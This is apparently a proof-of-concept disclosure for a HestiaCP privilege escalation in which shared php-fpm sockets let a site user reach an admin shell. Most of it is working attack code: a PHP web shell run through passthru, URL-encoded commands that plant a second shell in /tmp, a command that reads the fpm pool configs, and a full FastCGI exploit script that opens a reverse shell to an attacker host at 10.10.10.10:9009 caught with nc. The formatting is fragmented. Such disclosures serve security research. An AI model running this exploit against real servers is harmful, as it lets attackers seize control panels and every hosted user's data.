By default, hestiacp creates a default fpm configuration that runs php-fpm service as the www-data user (common socket).
Also another php-fpm service runs from admin user and www-data group (unix-socket).
That allows any user upload php-file into /tmp dir, then run that script from www-data, after then run that script from admin and spawn shell.
Have admin user right, an attacker can manager any users and control panel settings.
example
userexample.local
and install web-app. Example laravel-app
.shell.php
which contains <?php passthru($_GET['cmd']);?>
into public website folder. Now we can execute command from example
user.echo "<?php passthru(\$_GET['c'] . ' ' . \$_GET['d']);?>" > /tmp/sharred-shell.php
http://example.local/shell.php?cmd=echo+%22%3C%3fphp+passthru(\$_GET[%27c%27]+.+%27+%27+.+\$_GET[%27d%27])%3b%3f%3E%22+%3E+/tmp/sharred-shell.php
cat /etc/php/*/fpm/pool.d/*.conf
http://example.local/shell.php?cmd=cat+/etc/php/*/fpm/pool.d/*.conf
listen
two listeners, first one there user
= admin
, second there user
= www-data
(this is fpm for our user).[example.local] # our site
...
[www]
listen = 127.0.0.1:9000 # copy `www-data` common-socket listener
listen.allowed_clients = 127.0.0.1
user = www-data
group = www-data
[debian11.mcs.local]
listen = /run/php/php8.2-fpm-debian11.mcs.local.sock # copy admin unix-socket listener
listen.owner = admin
listen.group = www-data
listen.mode = 0660
user = admin
group = admin
expl-by
folder and create two files:composer.json
{
"name": "bytehope/hestiacp-ple",
"autoload": {
},
"require": {
"lisachenko/protocol-fcgi": "^3.0"
}
}
hestia-exploit.php
<?php
use Lisachenko\Protocol\FCGI;
use Lisachenko\Protocol\FCGI\FrameParser;
use Lisachenko\Protocol\FCGI\Record\BeginRequest;
use Lisachenko\Protocol\FCGI\Record\Params;
use Lisachenko\Protocol\FCGI\Record\Stdin;
include "vendor/autoload.php";
function make_packet(string $command, string $data = ''): string
{
$packet = '';
$packet .= new BeginRequest(FCGI::RESPONDER);
$packet .= new Params([
'SCRIPT_FILENAME' => "/tmp/sharred-shell.php",
'QUERY_STRING' => sprintf("c=%s&d=%s", urlencode($command), base64_encode($data)),
'REQUEST_METHOD' => 'GET',
]);
$packet .= new Stdin("");
return $packet;
}
function read_data($socket)
{
$response = '';
while ($partialData = fread($socket, 4096)) {
$response .= $partialData;
while (FrameParser::hasFrame($response)) {
$record = FrameParser::parseFrame($response);
var_dump($record);
}
}
return $response;
}
function spawn_shell(string $wwwdata_socket, string $admin_unix_socket, string $revers_shell): void
{
// spwan shell at admin - cgi-packet
[$r_ip, $r_port] = explode(':', $revers_shell);
$admin_packet = make_packet(<<<SHEL
php -r '\$sock=fsockopen("{$r_ip}",$r_port);exec("sh <&3 >&3 2>&3");'
SHEL);
// rce at www-data - cgi-packet
$packet = make_packet(<<<LPE
php -r '
\$sock = stream_socket_client("$admin_unix_socket", \$errno, \$errstr);
fwrite(\$sock, base64_decode(\$argv[1]));
echo fread(\$sock, 4096);
fclose(\$sock);'
LPE, $admin_packet);
// send packet to www-data socket
[$wwwdata_ip, $wwwdata_port] = explode(':', $wwwdata_socket);
$wwwdata_socket = fsockopen($wwwdata_ip, $wwwdata_port, $errorNumber, $errorString);
fwrite($wwwdata_socket, $packet);
read_data($wwwdata_socket);
fclose($wwwdata_socket);
}
spawn_shell(
"127.0.0.1:9000", # from 6 point, www-data listen conf
"unix:///run/php/php8.2-fpm-debian11.mcs.local.sock", # from 6 point, admin listen conf
"10.10.10.10:9009" # reverse shell ip and port
);
cd expl-by
, then run composer install
and copy expl-by
folder into user ~/tmp
directory.nc -nvlp 9009
on 10.10.10.10 machineexample
user and run php hestia-exploit.php
http://example.local/shell.php?cmd=php+~/tmp/expl-by/hestia-exploit.php`